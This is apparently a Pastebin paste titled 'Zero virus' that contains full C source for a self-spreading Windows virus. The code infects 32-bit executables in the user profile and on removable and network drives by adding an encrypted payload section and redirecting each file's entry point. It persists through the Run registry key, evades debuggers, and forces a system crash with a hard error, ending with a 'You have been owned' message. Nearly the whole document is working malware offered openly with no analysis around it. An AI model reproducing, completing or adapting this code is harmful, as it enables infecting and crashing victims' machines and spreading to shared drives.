Advertisement
hoangcuongflp

Zero virus

Dec 22nd, 2014
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <ImageHlp.h>
  4. #include "ntdll.h"
  5.  
  6. #pragma comment(lib,"imagehlp.lib")
  7. #pragma comment(lib,"ntdll.lib")
  8.  
  9. #pragma comment(linker,"/include:__tls_used")
  10. #pragma section(".CRT$XLB",read)
  11.  
  12. #define Align(Value,Alignment) (((Value+Alignment-1)/Alignment)*Alignment)
  13. #define VIRUS_KEY 0xF4
  14. #define VIRUS_FLAG ((VIRUS_KEY^0x7FFFFFFF)^0xF0F0F0F0)
  15.  
  16. typedef DWORD (WINAPI *pExpandEnvironmentStringsA)(
  17.     LPCSTR lpSrc,
  18.     LPSTR lpDst,
  19.     DWORD nSize
  20.     );
  21.  
  22. typedef HANDLE (WINAPI *pCreateFileA)(
  23.     LPCSTR lpFileName,
  24.     DWORD dwDesiredAccess,
  25.     DWORD dwShareMode,
  26.     LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  27.     DWORD dwCreationDisposition,
  28.     DWORD dwFlagsAndAttributes,
  29.     HANDLE hTemplateFile
  30.     );
  31.  
  32. typedef BOOL (WINAPI *pWriteFile)(
  33.     HANDLE hFile,
  34.     LPCVOID lpBuffer,
  35.     DWORD nNumberOfBytesToWrite,
  36.     LPDWORD lpNumberOfBytesWritten,
  37.     LPOVERLAPPED lpOverlapped
  38.     );
  39.  
  40. typedef LPVOID (WINAPI *pVirtualAlloc)(
  41.     LPVOID lpAddress,
  42.     SIZE_T dwSize,
  43.     DWORD flAllocationType,
  44.     DWORD flProtect
  45.     );
  46.  
  47. typedef BOOL (WINAPI *pCloseHandle)(HANDLE Handle);
  48.  
  49. typedef BOOL (WINAPI *pVirtualFree)(
  50.     LPVOID lpAddress,
  51.     SIZE_T dwSize,
  52.     DWORD dwFreeType
  53.     );
  54.  
  55. typedef BOOL (WINAPI *pCreateProcessA)(
  56.     LPCSTR lpApplicationName,
  57.     LPSTR lpCommandLine,
  58.     LPSECURITY_ATTRIBUTES lpProcessAttributes,
  59.     LPSECURITY_ATTRIBUTES lpThreadAttributes,
  60.     BOOL bInheritHandles,
  61.     DWORD dwCreationFlags,
  62.     LPVOID lpEnvironment,
  63.     LPCSTR lpCurrentDirectory,
  64.     LPSTARTUPINFOA lpStartupInfo,
  65.     LPPROCESS_INFORMATION lpProcessInformation
  66.     );
  67.  
  68. typedef enum _HARDERROR_RESPONSE_OPTION
  69. {
  70.     OptionAbortRetryIgnore,
  71.     OptionOk,
  72.     OptionOkCancel,
  73.     OptionRetryCancel,
  74.     OptionYesNo,
  75.     OptionYesNoCancel,
  76.     OptionShutdownSystem,
  77.     OptionOkNoWait,
  78.     OptionCancelTryContinue
  79. }HARDERROR_RESPONSE_OPTION;
  80.  
  81. typedef enum _HARDERROR_RESPONSE
  82. {
  83.     ResponseReturnToCaller,
  84.     ResponseNotHandled,
  85.     ResponseAbort,
  86.     ResponseCancel,
  87.     ResponseIgnore,
  88.     ResponseNo,
  89.     ResponseOk,
  90.     ResponseRetry,
  91.     ResponseYes,
  92.     ResponseTryAgain,
  93.     ResponseContinue
  94. }HARDERROR_RESPONSE;
  95.  
  96. extern "C" NTSTATUS NTAPI NtRaiseHardError(
  97.     NTSTATUS ErrorStatus,
  98.     ULONG NumberOfParameters,
  99.     ULONG UnicodeStringParameterMask,
  100.     PULONG_PTR Parameters,
  101.     ULONG ValidResponseOptions,
  102.     PULONG Response
  103. );
  104.  
  105. PVOID VirusFile;
  106. ULONG VirusSize;
  107.  
  108. PIMAGE_SECTION_HEADER WINAPI AddSection(PVOID Image,PSTR SectionName,ULONG SectionSize,ULONG Characteristics)
  109. {
  110.     PIMAGE_DOS_HEADER pIDH;
  111.     PIMAGE_NT_HEADERS pINH;
  112.     PIMAGE_SECTION_HEADER pISH;
  113.  
  114.     ULONG i;
  115.  
  116.     pIDH=(PIMAGE_DOS_HEADER)Image;
  117.  
  118.     if(pIDH->e_magic!=IMAGE_DOS_SIGNATURE)
  119.     {
  120.         return NULL;
  121.     }
  122.  
  123.     pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Image+pIDH->e_lfanew);
  124.  
  125.     if(pINH->Signature!=IMAGE_NT_SIGNATURE)
  126.     {
  127.         return NULL;
  128.     }
  129.  
  130.     pISH=(PIMAGE_SECTION_HEADER)(pINH+1);
  131.     i=pINH->FileHeader.NumberOfSections;
  132.  
  133.     memset(&pISH[i],0,sizeof(IMAGE_SECTION_HEADER));
  134.  
  135.     pISH[i].Characteristics=Characteristics;
  136.     pISH[i].PointerToRawData=Align(pISH[i-1].PointerToRawData+pISH[i-1].SizeOfRawData,pINH->OptionalHeader.FileAlignment);
  137.     pISH[i].VirtualAddress=Align(pISH[i-1].VirtualAddress+pISH[i-1].Misc.VirtualSize,pINH->OptionalHeader.SectionAlignment);
  138.     pISH[i].SizeOfRawData=Align(SectionSize,pINH->OptionalHeader.SectionAlignment);
  139.     pISH[i].Misc.VirtualSize=SectionSize;
  140.  
  141.     memcpy(pISH[i].Name,SectionName,8);
  142.  
  143.     pINH->FileHeader.NumberOfSections++;
  144.     pINH->OptionalHeader.SizeOfImage=pISH[i].VirtualAddress+pISH[i].Misc.VirtualSize;
  145.  
  146.     pINH->OptionalHeader.CheckSum=0;
  147.     return &pISH[i];
  148. }
  149.  
  150. int WINAPI VirusCode()
  151. {
  152.     PIMAGE_DOS_HEADER pIDH;
  153.     PIMAGE_NT_HEADERS pINH;
  154.     PIMAGE_EXPORT_DIRECTORY pIED;
  155.  
  156.     PPEB Peb;
  157.     PLDR_DATA_TABLE_ENTRY Ldr;
  158.  
  159.     PVOID Buffer,Module,Kernel32Base;
  160.     ULONG i,Hash,FileSize,EntryPointRva,VirusRva,write;
  161.  
  162.     PUCHAR EncryptedVirus,DecryptedVirus,ptr;
  163.     PULONG Function,Name;
  164.     PUSHORT Ordinal;
  165.  
  166.     FARPROC EntryPoint; // Original entry point
  167.     HANDLE hFile;
  168.  
  169.     STARTUPINFOA si;
  170.     PROCESS_INFORMATION pi;
  171.  
  172.     pExpandEnvironmentStringsA fnExpandEnvironmentStringsA;
  173.     pCreateFileA fnCreateFileA;
  174.     pWriteFile fnWriteFile;
  175.     pVirtualAlloc fnVirtualAlloc;
  176.     pCloseHandle fnCloseHandle;
  177.     pVirtualFree fnVirtualFree;
  178.     pCreateProcessA fnCreateProcessA;
  179.  
  180.     char FilePath[]={'%','t','e','m','p','%','\\','Z','e','r','o','.','e','x','e',0},FileName[260];
  181.  
  182.     __asm
  183.     {
  184.         mov eax,0x41414141
  185.         mov EntryPointRva,eax
  186.  
  187.         mov eax,0x42424242
  188.         mov VirusRva,eax
  189.  
  190.         mov eax,0x43434343
  191.         mov FileSize,eax
  192.     }
  193.  
  194.     Peb=NtCurrentPeb(); // Get the PEB
  195.     Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // Read the loader data
  196.  
  197.     Module=Ldr->DllBase; // Process executable
  198.  
  199.     Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // ntdll (not used)
  200.     Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // kernel32
  201.  
  202.     Kernel32Base=Ldr->DllBase; // Store the address of kernel32
  203.  
  204.     pIDH=(PIMAGE_DOS_HEADER)Kernel32Base;
  205.     pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Kernel32Base+pIDH->e_lfanew);
  206.  
  207.     // Get the export directory of kernel32
  208.  
  209.     pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)Kernel32Base+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  210.  
  211.     Function=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfFunctions);
  212.     Name=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfNames);
  213.  
  214.     Ordinal=(PUSHORT)((PUCHAR)Kernel32Base+pIED->AddressOfNameOrdinals);
  215.  
  216.     // Loop over the function names
  217.  
  218.     for(i=0;i<pIED->NumberOfNames;i++)
  219.     {
  220.         PUCHAR ptr=(PUCHAR)Kernel32Base+Name[i]; // Pointer to function name
  221.         ULONG Hash=0;
  222.  
  223.         // Compute the hash
  224.  
  225.         while(*ptr)
  226.         {
  227.             Hash=((Hash<<8)+Hash+*ptr)^(*ptr<<16);
  228.             ptr++;
  229.         }
  230.  
  231.         // Hash of ExpandEnvironmentStringsA
  232.  
  233.         if(Hash==0x575d1e20)
  234.         {
  235.             fnExpandEnvironmentStringsA=(pExpandEnvironmentStringsA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  236.         }
  237.  
  238.         // Hash of CreateFileA
  239.  
  240.         if(Hash==0xd83eb415)
  241.         {
  242.             fnCreateFileA=(pCreateFileA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  243.         }
  244.  
  245.         // Hash of WriteFile
  246.  
  247.         if(Hash==0xa5e7378b)
  248.         {
  249.             fnWriteFile=(pWriteFile)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  250.         }
  251.  
  252.         // Hash of VirtualAlloc
  253.  
  254.         if(Hash==0xa15d96d2)
  255.         {
  256.             fnVirtualAlloc=(pVirtualAlloc)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  257.         }
  258.  
  259.         // Hash of CloseHandle
  260.  
  261.         if(Hash==0x7dfbd342)
  262.         {
  263.             fnCloseHandle=(pCloseHandle)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  264.         }
  265.  
  266.         // Hash of VirtualFree
  267.  
  268.         if(Hash==0x6f043b69)
  269.         {
  270.             fnVirtualFree=(pVirtualFree)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  271.         }
  272.  
  273.         // Hash of CreateProcessA
  274.  
  275.         if(Hash==0xae3b3c74)
  276.         {
  277.             fnCreateProcessA=(pCreateProcessA)((PUCHAR)Kernel32Base+Function[Ordinal[i]]);
  278.         }
  279.     }
  280.  
  281.     EncryptedVirus=(PUCHAR)Module+VirusRva; // Get the virus body
  282.     Buffer=fnVirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); // Allocate buffer
  283.  
  284.     if(Buffer)
  285.     {
  286.         DecryptedVirus=(PUCHAR)Buffer;
  287.  
  288.         // Decrypt the virus
  289.  
  290.         for(i=0;i<FileSize;i++)
  291.         {
  292.             DecryptedVirus[i]=EncryptedVirus[i]^VIRUS_KEY;
  293.         }
  294.  
  295.         fnExpandEnvironmentStringsA(FilePath,FileName,sizeof(FileName));
  296.  
  297.         // Drop the virus in temp folder
  298.  
  299.         hFile=fnCreateFileA(FileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
  300.  
  301.         if(hFile!=INVALID_HANDLE_VALUE)
  302.         {
  303.             // Write the virus to file
  304.  
  305.             if(fnWriteFile(hFile,Buffer,FileSize,&write,NULL))
  306.             {
  307.                 fnCloseHandle(hFile); // Close the file handle
  308.                 fnVirtualFree(Buffer,0,MEM_RELEASE); // Free the buffer
  309.  
  310.                 ptr=(PUCHAR)&si;
  311.  
  312.                 // Zero the structures
  313.  
  314.                 for(i=0;i<sizeof(si);i++)
  315.                 {
  316.                     ptr[i]=0;
  317.                 }
  318.  
  319.                 ptr=(PUCHAR)&pi;
  320.  
  321.                 for(i=0;i<sizeof(pi);i++)
  322.                 {
  323.                     ptr[i]=0;
  324.                 }
  325.  
  326.                 // Run the virus executable
  327.  
  328.                 if(fnCreateProcessA(FileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
  329.                 {
  330.                     fnCloseHandle(pi.hThread);
  331.                     fnCloseHandle(pi.hProcess);
  332.                 }
  333.             }
  334.         }
  335.     }
  336.  
  337.     // Call the original entry point
  338.  
  339.     EntryPoint=(FARPROC)((PUCHAR)Module+EntryPointRva);
  340.     return EntryPoint();
  341. }
  342.  
  343. void WINAPI VirusEnd()
  344. {
  345.     return;
  346. }
  347.  
  348. BOOL WINAPI IsValidExecutable(HANDLE hFile,PULONG SectionAlignment)
  349. {
  350.     PIMAGE_DOS_HEADER pIDH;
  351.     PIMAGE_NT_HEADERS pINH;
  352.    
  353.     PVOID Buffer;
  354.     ULONG FileSize,read;
  355.  
  356.     FileSize=GetFileSize(hFile,NULL);
  357.     Buffer=VirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  358.  
  359.     if(!Buffer)
  360.     {
  361.         return FALSE;
  362.     }
  363.  
  364.     if(!ReadFile(hFile,Buffer,FileSize,&read,NULL))
  365.     {
  366.         VirtualFree(Buffer,0,MEM_RELEASE);
  367.         return FALSE;
  368.     }
  369.  
  370.     __try
  371.     {
  372.         pIDH=(PIMAGE_DOS_HEADER)Buffer;
  373.        
  374.         if(pIDH->e_magic!=IMAGE_DOS_SIGNATURE)
  375.         {
  376.             VirtualFree(Buffer,0,MEM_RELEASE);
  377.             return FALSE;
  378.         }
  379.  
  380.         pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Buffer+pIDH->e_lfanew);
  381.  
  382.         if(pINH->Signature!=IMAGE_NT_SIGNATURE)
  383.         {
  384.             VirtualFree(Buffer,0,MEM_RELEASE);
  385.             return FALSE;
  386.         }
  387.  
  388.         // Make sure it is 32-bit program
  389.  
  390.         if(pINH->FileHeader.Machine!=IMAGE_FILE_MACHINE_I386)
  391.         {
  392.             VirtualFree(Buffer,0,MEM_RELEASE);
  393.             return FALSE;
  394.         }
  395.  
  396.         if(pINH->FileHeader.Characteristics & IMAGE_FILE_DLL)
  397.         {
  398.             VirtualFree(Buffer,0,MEM_RELEASE);
  399.             return FALSE;
  400.         }
  401.  
  402.         if(pINH->OptionalHeader.LoaderFlags==VIRUS_FLAG)
  403.         {
  404.             VirtualFree(Buffer,0,MEM_RELEASE);
  405.             return FALSE;
  406.         }
  407.  
  408.         if(pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
  409.         {
  410.             VirtualFree(Buffer,0,MEM_RELEASE);
  411.             return FALSE;
  412.         }
  413.  
  414.         if(pINH->OptionalHeader.Subsystem==IMAGE_SUBSYSTEM_WINDOWS_CUI || pINH->OptionalHeader.Subsystem==IMAGE_SUBSYSTEM_WINDOWS_GUI)
  415.         {
  416.             if(SectionAlignment)
  417.             {
  418.                 *SectionAlignment=pINH->OptionalHeader.SectionAlignment;
  419.             }
  420.            
  421.             VirtualFree(Buffer,0,MEM_RELEASE);
  422.             return TRUE;
  423.         }
  424.     }
  425.  
  426.     __except(EXCEPTION_EXECUTE_HANDLER)
  427.     {
  428.         VirtualFree(Buffer,0,MEM_RELEASE);
  429.         return FALSE;
  430.     }
  431.  
  432.     VirtualFree(Buffer,0,MEM_RELEASE);
  433.     return FALSE;
  434. }
  435.  
  436. void WINAPI InfectFile(PSTR FileName)
  437. {
  438.     PIMAGE_DOS_HEADER pIDH;
  439.     PIMAGE_NT_HEADERS pINH;
  440.     PIMAGE_SECTION_HEADER pISH;
  441.    
  442.     HANDLE hFile,hMap;
  443.     PVOID MappedFile;
  444.     ULONG i,FileSize,SectionSize,CodeSize,SectionAlignment,AlignedSize,OldChecksum,NewChecksum;
  445.  
  446.     PUCHAR CodeAddress,VirusAddress,ptr;
  447.  
  448.     hFile=CreateFile(FileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
  449.  
  450.     if(hFile!=INVALID_HANDLE_VALUE)
  451.     {
  452.         if(!IsValidExecutable(hFile,&SectionAlignment))
  453.         {
  454.             NtClose(hFile);
  455.             return;
  456.         }
  457.  
  458.         CodeSize=(ULONG)VirusEnd-(ULONG)VirusCode;
  459.         SectionSize=CodeSize+VirusSize;
  460.  
  461.         FileSize=GetFileSize(hFile,NULL);
  462.         AlignedSize=FileSize+Align(SectionSize,SectionAlignment); // File size need to be aligned. Otherwise the program will not run after infection.
  463.  
  464.         hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,AlignedSize,NULL);
  465.  
  466.         if(hMap)
  467.         {
  468.             MappedFile=MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);
  469.  
  470.             if(MappedFile)
  471.             {
  472.                 pIDH=(PIMAGE_DOS_HEADER)MappedFile;
  473.                 pINH=(PIMAGE_NT_HEADERS)((PUCHAR)MappedFile+pIDH->e_lfanew);
  474.  
  475.                 // Add a new section
  476.  
  477.                 pISH=AddSection(MappedFile,"Zero",SectionSize,IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE);
  478.  
  479.                 if(pISH)
  480.                 {
  481.                     ptr=(PUCHAR)MappedFile+pISH->PointerToRawData;
  482.  
  483.                     CodeAddress=ptr;
  484.                     VirusAddress=CodeAddress+CodeSize;
  485.  
  486.                     memcpy(CodeAddress,VirusCode,CodeSize); // Write the virus code to the file
  487.                     memcpy(VirusAddress,VirusFile,VirusSize); // Write the virus body to the file
  488.  
  489.                     // Fill up placeholders
  490.  
  491.                     while(1)
  492.                     {
  493.                         if(*ptr==0xb8 && *(PULONG)(ptr+1)==0x41414141)
  494.                         {
  495.                             *(PULONG)(ptr+1)=pINH->OptionalHeader.AddressOfEntryPoint;
  496.                             break;
  497.                         }
  498.  
  499.                         ptr++;
  500.                     }
  501.  
  502.                     ptr=(PUCHAR)MappedFile+pISH->PointerToRawData;
  503.  
  504.                     while(1)
  505.                     {
  506.                         if(*ptr==0xb8 && *(PULONG)(ptr+1)==0x42424242)
  507.                         {
  508.                             *(PULONG)(ptr+1)=(ULONG)VirusAddress-pISH->PointerToRawData+pISH->VirtualAddress-(ULONG)MappedFile;
  509.                             break;
  510.                         }
  511.  
  512.                         ptr++;
  513.                     }
  514.  
  515.                     ptr=(PUCHAR)MappedFile+pISH->PointerToRawData;
  516.  
  517.                     while(1)
  518.                     {
  519.                         if(*ptr==0xb8 && *(PULONG)(ptr+1)==0x43434343)
  520.                         {
  521.                             *(PULONG)(ptr+1)=VirusSize;
  522.                             break;
  523.                         }
  524.  
  525.                         ptr++;
  526.                     }
  527.  
  528.                     // Encrypt the virus
  529.  
  530.                     for(i=0;i<VirusSize;i++)
  531.                     {
  532.                         VirusAddress[i]^=VIRUS_KEY;
  533.                     }
  534.  
  535.                     pINH->OptionalHeader.AddressOfEntryPoint=(ULONG)CodeAddress-pISH->PointerToRawData+pISH->VirtualAddress-(ULONG)MappedFile; // Set the entry point
  536.                     pINH->OptionalHeader.LoaderFlags=VIRUS_FLAG; // Set the infection flag. Since Windows no longer use loader flag, we can use this to store our infection flag.
  537.  
  538.                     if(CheckSumMappedFile(MappedFile,AlignedSize,&OldChecksum,&NewChecksum))
  539.                     {
  540.                         pINH->OptionalHeader.CheckSum=NewChecksum; // Correct the checksum
  541.                     }
  542.  
  543.                     FlushViewOfFile(MappedFile,0); // Flush the changes into file
  544.                     UnmapViewOfFile(MappedFile); // Unmap the file
  545.                 }
  546.             }
  547.         }
  548.     }
  549.  
  550.     NtClose(hMap);
  551.     NtClose(hFile);
  552. }
  553.  
  554. void WINAPI SearchFile(PSTR Directory)
  555. {
  556.     HANDLE hFind;
  557.     WIN32_FIND_DATA FindData;
  558.  
  559.     char SearchName[1024],FullPath[1024];
  560.     LARGE_INTEGER delay;
  561.  
  562.     delay.QuadPart=(__int64)-10*10000;
  563.  
  564.     memset(SearchName,0,sizeof(SearchName));
  565.     memset(&FindData,0,sizeof(WIN32_FIND_DATA));
  566.  
  567.     sprintf(SearchName,"%s\\*",Directory);
  568.  
  569.     hFind=FindFirstFile(SearchName,&FindData);
  570.  
  571.     if(hFind!=INVALID_HANDLE_VALUE)
  572.     {
  573.         while(FindNextFile(hFind,&FindData))
  574.         {
  575.             if(FindData.cFileName[0]=='.')
  576.             {
  577.                 continue;
  578.             }
  579.            
  580.             memset(FullPath,0,sizeof(FullPath));
  581.             sprintf(FullPath,"%s\\%s",Directory,FindData.cFileName);
  582.  
  583.             if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  584.             {
  585.                 SearchFile(FullPath);
  586.             }
  587.  
  588.             else
  589.             {
  590.                 InfectFile(FullPath);
  591.             }
  592.  
  593.             NtDelayExecution(FALSE,&delay);
  594.         }
  595.  
  596.         FindClose(hFind);
  597.     }
  598. }
  599.  
  600. void NTAPI TlsCallback(PVOID Module,ULONG Reason,PVOID Context)
  601. {
  602.     HKEY hKey;
  603.     char ModulePath[1024],TempPath[60];
  604.    
  605.     PPEB Peb=NtCurrentPeb();
  606.     ULONG_PTR DebugPort=0;
  607.  
  608.     if(Reason!=DLL_PROCESS_ATTACH)
  609.     {
  610.         return;
  611.     }
  612.    
  613.     if(Peb->BeingDebugged)
  614.     {
  615.         NtTerminateProcess(NtCurrentProcess(),0);
  616.         while(1);
  617.     }
  618.  
  619.     if(NT_SUCCESS(NtQueryInformationProcess(NtCurrentProcess(),ProcessDebugPort,&DebugPort,sizeof(ULONG_PTR),NULL)))
  620.     {
  621.         if(DebugPort)
  622.         {
  623.             NtTerminateProcess(NtCurrentProcess(),0);
  624.             while(1);
  625.         }
  626.     }
  627.  
  628.     GetModuleFileName(NULL,ModulePath,sizeof(ModulePath));
  629.  
  630.     ExpandEnvironmentStrings("%temp%\\Zero.exe",TempPath,sizeof(TempPath));
  631.     CopyFile(ModulePath,TempPath,FALSE); // Copy the virus to temp folder
  632.  
  633.     // Add the virus to registry
  634.  
  635.     if(!RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey))
  636.     {
  637.         RegSetValueEx(hKey,"Zero",0,REG_SZ,(PUCHAR)TempPath,sizeof(TempPath));
  638.         RegCloseKey(hKey);
  639.     }
  640. }
  641.  
  642. __declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK TlsCallbackAddress[]={TlsCallback,NULL};
  643.  
  644. DWORD WINAPI Zero(PVOID p)
  645. {
  646.     BOOLEAN bl;
  647.     LARGE_INTEGER delay;
  648.  
  649.     ULONG Response;
  650.    
  651.     PPEB Peb=NtCurrentPeb();
  652.     ULONG_PTR DebugPort=0;
  653.  
  654.     delay.QuadPart=(__int64)-10*10000;
  655.  
  656.     while(1)
  657.     {
  658.         if(Peb->BeingDebugged)
  659.         {
  660.             break;
  661.         }
  662.  
  663.         if(NT_SUCCESS(NtQueryInformationProcess(NtCurrentProcess(),ProcessDebugPort,&DebugPort,sizeof(ULONG_PTR),NULL)))
  664.         {
  665.             if(DebugPort)
  666.             {
  667.                 break;
  668.             }
  669.         }
  670.  
  671.         NtDelayExecution(FALSE,&delay);
  672.     }
  673.  
  674.     RtlAdjustPrivilege(19,TRUE,FALSE,&bl);
  675.     NtRaiseHardError(0xC000026A,0,0,NULL,OptionShutdownSystem,&Response);
  676.  
  677.     while(1);
  678. }
  679.  
  680. DWORD WINAPI InfectUserProfile(PVOID p)
  681. {
  682.     char UserProfile[1024];
  683.     LARGE_INTEGER delay;
  684.  
  685.     delay.QuadPart=(__int64)-600000*10000;
  686.     GetEnvironmentVariable("userprofile",UserProfile,sizeof(UserProfile)); // Get the path of user profile
  687.    
  688.     while(1)
  689.     {
  690.         SearchFile(UserProfile); // Search for files to infect
  691.         NtDelayExecution(FALSE,&delay);
  692.     }
  693. }
  694.  
  695. DWORD WINAPI InfectDrives(PVOID p)
  696. {
  697.     ULONG DriveType;
  698.     char drives[1024],*str;
  699.  
  700.     LARGE_INTEGER delay;
  701.  
  702.     delay.QuadPart=(__int64)-600000*10000;
  703.  
  704.     while(1)
  705.     {
  706.         memset(drives,0,sizeof(drives));
  707.  
  708.         GetLogicalDriveStrings(sizeof(drives),drives); // Get all drives
  709.         str=drives;
  710.  
  711.         while(*str)
  712.         {
  713.             DriveType=GetDriveType(str); // Check the drive type
  714.  
  715.             // Infect removable and network drives
  716.  
  717.             if(DriveType==DRIVE_REMOVABLE || DriveType==DRIVE_REMOTE)
  718.             {
  719.                 SearchFile(str); // Search for files to infect
  720.             }
  721.  
  722.             str+=strlen(str)+1; // Get the next drive
  723.         }
  724.  
  725.         NtDelayExecution(FALSE,&delay);
  726.     }
  727. }
  728.  
  729. int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR lpCmdLine,int nCmdShow)
  730. {
  731.     HANDLE hFile;
  732.     ULONG read,op;
  733.  
  734.     CreateMutex(NULL,TRUE,"{755842AD-901B-482D-81B3-010C4EB22197}");
  735.  
  736.     if(GetLastError()==ERROR_ALREADY_EXISTS)
  737.     {
  738.         NtTerminateProcess(NtCurrentProcess(),0);
  739.         while(1);
  740.     }
  741.  
  742.     hFile=CreateFile(_pgmptr,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  743.  
  744.     if(hFile!=INVALID_HANDLE_VALUE)
  745.     {
  746.         VirusSize=GetFileSize(hFile,NULL);
  747.         VirusFile=VirtualAlloc(NULL,VirusSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  748.  
  749.         if(VirusFile)
  750.         {
  751.             if(!ReadFile(hFile,VirusFile,VirusSize,&read,NULL))
  752.             {
  753.                 NtClose(hFile);
  754.                 return -1;
  755.             }
  756.         }
  757.  
  758.         NtClose(hFile);
  759.         VirtualProtect(VirusFile,VirusSize,PAGE_READONLY,&op); // Protect the virus data
  760.     }
  761.  
  762.     // Create worker threads
  763.    
  764.     CreateThread(NULL,0,Zero,NULL,0,NULL);
  765.     CreateThread(NULL,0,InfectUserProfile,NULL,0,NULL);
  766.     CreateThread(NULL,0,InfectDrives,NULL,0,NULL);
  767.  
  768.     MessageBox(NULL,"You have been owned by Zero virus!","Zero virus by zwclose7",MB_ICONWARNING);
  769.  
  770.     NtTerminateThread(NtCurrentThread(),0); // Terminate the current thread
  771.     while(1);
  772. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement